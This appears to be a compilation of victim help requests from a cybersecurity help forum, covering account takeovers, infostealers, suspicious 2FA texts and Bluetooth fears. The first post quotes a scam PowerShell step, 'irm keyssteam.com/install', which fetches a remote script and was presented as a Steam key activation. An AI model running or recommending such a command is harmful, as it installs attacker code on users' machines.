r/cybersecurity_help

Comprei uma key barata em site que parecia confiável e que tinha bastante membros no dc e vários seguidores, quando comprei a key apareceu para mim colocar o seguinte comando no powershell: irm keyssteam.com/install quando coloquei esse comando apareceu algo de mudar a localização da Steam igual a um vpn, seguindo um tutorial deles próprios pediram para mim ativar a key na steam, quando ativei realmente apareceu o jogo mas fiquei desconfiado e fui pesquisar (coisa que devia ter feito antes) e disseram que era um golpe que podiam roubar meu computador e me orientaram a desligar a internet, agora estou aqui sem saber o que fazer, será que a key funciona?, será que terei que formatar o pc?

I had a flight that was canceled yesterday and I spent the night sleeping in the airport for my early morning flight the next day. I didnt sleep much and was exhausted. Once on the flight I was sitting next to a guy and we started talking. He said he worked in cybersecurity and showed me a “jailbreak” phone he had with all kinds of apps he said were used by hackers. He also had a device that was basically a raspberry pi with a bunch of preloaded hacker stuff on it. Most of what he was saying went over my head as I’m not super tech savvy.
Anyhow, I had my iPad in my bag and it was on airplane mode, but I know the Bluetooth was still on so I could use my AirPods if I wanted. I never took it out of my bag, but I was using my iPhone in airplane mode with Bluetooth turned on (again in case I wanted to use my AirPods). After talking to him, I turned Bluetooth on my phone off, but forgot to do it for my iPad. Also important is that I had been traveling for eight days and my iPad had been in airplane mode the whole time.
After we had a lull in conversation, I asked him if leaving Bluetooth on made people vulnerable to being hacked because it just dawned on me that it was a possibility. He said yes, it was a vulnerability and it was best to keep Bluetooth off unless you were actively using it. So I switched the Bluetooth on my phone off, but forgot to do it on my tablet.

A bit later I noticed he attached a small antenna to his raspberry pi device. I didn’t think about it until I got home and I turned my iPad airplane mode off and then my iPhone asked if I wanted to pair my iPad back to my phone. I thought it was weird, but I checked the serial number on my iPad and it matched the number my phone said was trying to pair with it. So I allowed the pairing. I then started thinking about that guy on the plane and am seriously concerned that he got into my iPad because the Bluetooth was on in the plane and now he was in my iPad and getting into my iPhone. I did a google search to see if it was normal for a previously connected iPad to need re-pairing to my phone after being in airplane mode for a week. My search said it was normal after being “disconnected” because of airplane mode for an extended period of time.

Now I’m sorta freaked out that I’ve been hacked by this guy and his antenna device. I haven’t noticed anything else strange, and both devices are updated with the latest apple updates. Am I right to be worried? What should I do?

Hi lovely redditors,

Yesterday I was helping my mother check up on her Yahoo Mail email security and 2FA settings. When starting the log in process, we request the 2FA code via SMS text and, as expected, she received a security code SMS. However the SMS message set off my alarm bells.

The number was a local phone number, and the SMS was suspicious with bad grammar and the use of numbers: "Is your Yah00 verification c0de" and then the code. The actual code was the correct code. I know this because I typed it in to Yahoo Mail and it was accepted, and then I realized that the rest of the text was suspicious. I am sure that the Yahoo Mail website was the official website.

To be safe, we've called her bank, blocked new digital transactions and followed other (potentially) necessary security steps.

I've done as much research as my non-expert butt can. I can find two possible scenarios, but not much evidence or proof for either of them (just other reddit-user stories):

1. My mother's security is compromised, potentially with a man-in-the-middle forwarding situation going on.
2. Yahoo is trying to bypass paying business fees with the phone provider, and therefore using local numbers and alternative text to bypass the phone provider filters from mass/automated texts.

My questions are: Has anyone seen/heard of this before? What do you think is going on? Did I overreact or is my mother's security compromised?

Thanks for your thoughts! :)

Edit: clarifying a bit of the text. The screenshot can be found in the comments below :)

Two weeks ago I got notified on my phone that there had been suspicious activity on my gmail on a windows computer. I was using email on my Windows just moments earlier, and there is only one windows-session on my active devices on Gmail. Gmail said that it had logged out of the suspicious device, and it had in fact logged me out on my computer.

I scanned my computer with Microsoft Defender and Safety Scanner, which did not find anything. I then changed passwords on a trusted device and logged out of all my gmail sessions on my computer for a while.

A day or so after I logged back in, I got the same suspicious activity notification again, but for a different account I have. I again repeated the previous steps, and in addition scanned also with F-Secure and Malwarebytes, while finding nothing.

What is going on? I need to use the computer but I don't trust that everything is okay.

Hello there!

At the beginning of summer, my buddy saw an instagram story on my profile but it wasn't uploaded by me. It was a scam post using Mr Beasts alias. I checked the logins, and as it turns out, someone loggid in from Turkey. I was using an old password there, that was flagged 3 years ago as a stolen password by google, but I didn't care back then. Now, changed passwords at all the important sites where I used that and set up 2FA (facebook, instagram, google etc.). A few days later, my linkedin was hacked and someone added a trusted device and set up 2FA, locking me out of my account. I have used the same password there, so changed that with the help of customer service.

After a while, some logins were detected on my riot games account, changed the password immediately.

The problem is that 2 months later my other frequently used password (which I created after stopped using the previous one) also got leaked somehow, so I had to start over and create individual passwords for all sites (I know I should have been doing it before, little did I know back then...).

Changed everything, set up 2FA. After another month, my card was used for anauthorized purchase and the confirmation email showed the logo of shop.app. They say the site wasn't breached, but someone got my email and card data and placed an order through this shop.app and the system pulled it in. But my card detalis were saved there.

My question is, how could someone get my card data and passwords??? Never gave it away, never placed orders on suspicious sites, could it have been some virus or keylogger or something placed on my computer? Windows defender never found anything, since then I bought bitdefender which stopped some connections, but I'm not sure.

I just want to how this could have happened and how I can prevent it from happening again.

so i saw on a what looked like an outdated site it should be in windows apps or programs whatever you call it to my knowledge the only “virus” i would have been affected by is the fps+++ or bad event people playground malicious script the credentials looks right the signature looks good it says Microsoft Windows

My wife just noticed in her past orders, a canceled order for PS5 with a comment " i want to change the address where the items will be delivered to".

It shows as canceled and total is "0$" . It has a Mon, Sep 7 date on it so over a month ago.

I am not seeing any suspicious transactions on my CC from target nor any other weird transactions in the target orders.

What could have possible happened? If someone got into the account, why they were not able to finish the job? I am checking her emails and sms for anything related to "target" but I am not seeing anything besides few real orders of her.

My parents are getting absolutely hammered with fake delivery texts, account warnings, toll messages etc. Some of them are obvious, but others are getting disturbingly convincing. I've explained the usual red flags, but realistically I can't expect them to investigate every link before clicking it and I certainly can't lol. what are you using for parents who couldnt detect a scam if it came from scams@scams dot com?

I got attacked by an infostealer a little over a week ago and my anxiety has been getting to me even though I’ve done everything recommended to defend myself after the fact. I need someone to verify or disprove these claims I’ve been told so I can move on with my life and not worry about this anymore. For background info, I’m a broke post grad college student:

- unless I’m a company exec/vip/have crypto, infostealer hackers won’t try to use or manipulate my phone number in any way to bypass 2FA and get into my accounts. They won’t do this for the average person.
- my data has a “shelf life”
- infostealer hackers generally don’t care about job app site, school/study related other misc accounts. Only accounts they can profit from (social media, gaming, primary emails, e commerce)

Also, I had an attempt on my DoorDash account and a successful login on my Walmart account (I resolved that immediately). Thank you to all who reply to this.

This morning, when I was half asleep, I remember seeing a notification of a login code for LinkedIn, but I ignored it. Then, 5 hours later, when I tried to access LinkedIn on my mobile and laptop, I was logged out.

I tried to log back in using the same email (I am sure of it), but LinkedIn made another account for me using that email. This is where I got scared and tried to see if my original account was still there, and it was, but there was no way for me to get there.

I tried to reset the password with my phone number and email, and it still logged me into my new account instead of my old one. I have reported this incident to LinkedIn already. I tried to see the morning message, but somehow that email is gone?! As if I never received one.

I googled and its AI said that this is happening because it may gotten hacked

Instagram fake id misuse with my video recording

Last week one girl sent request and did n\*ked video call and recorded me

Next day she created new id with my name and showed to my landlord gir

My landlord is asking to leave my house

What should i do in this case?

I want to ask if I will file police case, will police trace her real ip and location?

Will they ask money?

Any ref case?

so i was checking my notifications and then the official instagram account messaged me:

"your code is ------, do not share it with anyone else"

i clicked the "i didnt request a code" button, they have not responded yet. its not anything big but i am a little concerned. for information: i dont even have an instagram account, i never had. and this have not happened in other platforms (youtube, reddit, etc.) i can still log onto my youtube account.

so, am i gonna get hacked or is this just a little typo from someone else? lmk

Hi! Bit of a story time: This january I bought a brand new usb stick because I wanted to do a clean install of windows. I have previously wanted to try out Linux Mint but after a month I decided that I’d like to go back to windows. I downloaded rufus and a windows 11 iso on my dad’s pc from the official website, used rufus while the pc was disconnected from the internet and installed windows on my own pc.

Fast forward to now: I wanted to do another clean windows install, just nuke everything and start fresh. I didn’t directly experience any suspicious stuff (I have all my accounts and everything), I just wanted to be sure. Now, I found the usb stick that I used to install windows in January, i plugged it into my PC and just for the sake of it, I decided to put some files on virustotal There was a setup.exe which seemed fine but then I put a setup.dll on virustotal that came out suspicious. The ai overview (I think?) said that it is malware, but then when I went into the details section I noticed that the previous filenames was quite weird (and I shit you not, I know how ridiculous this sounds, but it's not a joke, one of the filenames was femboyp*rno.exe), also I noticed that the creation time was 2051 or something.

Now the reason why I’m being quite stressed out is because I downloaded the iso from the official microsoft website. Is my dad’s computer compromised and the malware injected itself into the iso the moment I downloaded it on my dad’s pc and have I been using a compromised pc all year long? I’ve ran multiple scans both with windows defender and a free trial version of malwarebytes on my pc. Nothing was found. I even did it in offline mode, nothing was found.

My accounts seem fine and the only suspicious things that happened while browsing is that sometimes I had to complete a captha on google and one of the job searching websites because it said I had suspicious traffic. Since then, I installed linux mint on my pc because I still had that separate usb with me, although I would prefer to go back to windows. So could someone explain what exactly is going on? Also, is my whole entire network is compromised because of that ‘suspicious traffic’ thing?

I’m sorry that I made a post this long but I wanted to make sure I wrote all the details. Any help will be very much appreciated
Here's the VT link:
https://www.virustotal.com/gui/file/72a0bcac2d4de630ad094bfc312bd4431aa5c286c683de7e0650c1675e5fc7c5

I was hacked by a remus stealer (also called session stealer)3 months ago. I scanned my pc with malwarebytes, and resetted all the passwords that were leaked. BUT somehow only my instagram account is getting hacked. I think it's because of instagram not refreshing tokens after changing password. Does anyone know how to refresh them?

Hey all,

I have a problem with hacked accounts as of late.

It all started when my Kleinanzeigen (german second hand platform) got hacked and from my account numerous messages were sent without permission and no new login email. It all eventually ended in an account suspision.

Then I noticed my discord account had sent a message to all of my DMs containing a picture of a MrBeast giveaway.

Then I discovered malware on my PC, I completely reinstalled Windows and wiped the system with all partitions. I did not restore any old browser profiles or sync them back after the reinstall.

However after the reinstall my tiktok account posted 6 videos (i can't recall what the content was), and today the discord mrbeast hack happened again.

I have already logged all devices out of my gmail accounts prior so I don't really know what the situation is and how to handle it.

I would appreciate advice very much!

last nig i was sitting in bed, then I started getting emails about verifications and password changes, even email changes, but I was too late to stop it. When I go to Microsoft recovery the say Try entering your Microsoft account again. We don't recognise this one. Or: The Microsoft account you've entered does not exist. what can i do

So my EA account got logged into after a virus attack on my PC, by someone in Turkey. This was about a month ago, they got my emails then my PayPal all before I noticed, they bought 160 worth of robux.

I got everything changed and deleted the EA account, well they used my email to make a new EA account then changed the email to their own....firstly why would they do this

Now after all that happened I watched my accounts and nothing happened, but today my Microsoft account got logged into by someone in "approximately Russia"

I immediately changed my password and removed my PayPal account from it

When my PC got the virus attack it was on windows and ever since I moved to Linux and haven't touched Microsoft since so I couldn't care less about losing this account but I wanted to detach my payment stuff first

Well then I got emails that they changed the passkey and the email

No payment info is there and I don't have it connected to anything anymore, I do have my OneDrive full but it's all gaming clips so I don't care about it

Are there any other issues I could have? I can't access this account now and don't really care about it.

I haven't heard from Mr turkey since I changed all my email passwords so I'm not worried about that virus attack being the problem, I'm not sure how they got my account I haven't been on it in a long time and don't use it for anything else

Once again though, are there any possible issues from this?

so today i noticed my husbands blue tooth was connected to my blue tooth? and i was shocked? i dont have my blue tooth on all the time, as i try to turn it off as soon as im finished using it. but tonight when i went to turn my blue tooth on, i noticed i was connected to the blue tooth on my husbands phone? and ive never even had his phone appear on my blue tooth list before... EVER? i didint even think it was possible to join phones by blue tooth without certain settings being turned on first? so how is this even possible? would my husband have had to deliberately pair our phines? and if so, how would he have done that?

Hace unas semanas mi cuenta de WhatsApp fue hackeada y unos días después hackearon mi Facebook también. Tuve que eliminar mi cuenta de Facebook porque a pesar de que cambiaba la contraseña, el hacker seguia enviando mensajes a mis amigos con un link raro. Me dieron un plazo de 30 días antes de que mi cuenta se elimine completamente. He leído que eso paso porque tenía mi IOS desactualizado, tenía IOS 16; actualmente ya tengo IOS 27. La pregunta es, vuelvo a reactivar mi cuenta de Facebook? Es seguro que el hacker ya no tendrá acceso a mi cuenta ? O mejor me creo una nueva. Casi no uso Facebook pero me gustaría recuperar mi antigua cuenta porque tengo agregada a mi abuela fallecida y solía revisar su perfil. O es mejor crear una cuenta desde 0?

Okay so look. Today i got spammed with a bunch of emails and sms to my phone and gmail, all verification codes for random newsletters, crypto, random stuff. As I'm raking through them, i see an apple purchase for $2k i never got. I call apple to cancel it, and call my credit card company to pause it.

I have never used that credit card on my apple account though. There's no payment attached to my apple account. The purchase was also for pickup at an apple store right near me. nobody i know used my apple account or anything like that.

Apple and both my Google accounts say they aren't compromised, so no sign ins other than my devices.

Also worth mentioning is that sometimes when i start up my pc, a couple of cmd screens pop up for a millisecond and go away. I did an MS defender scan and it said my pc was fine...

i honestly have no idea. i paused all my credit cards I've ever used on my pc and phone and honestly don't know what to do. please help.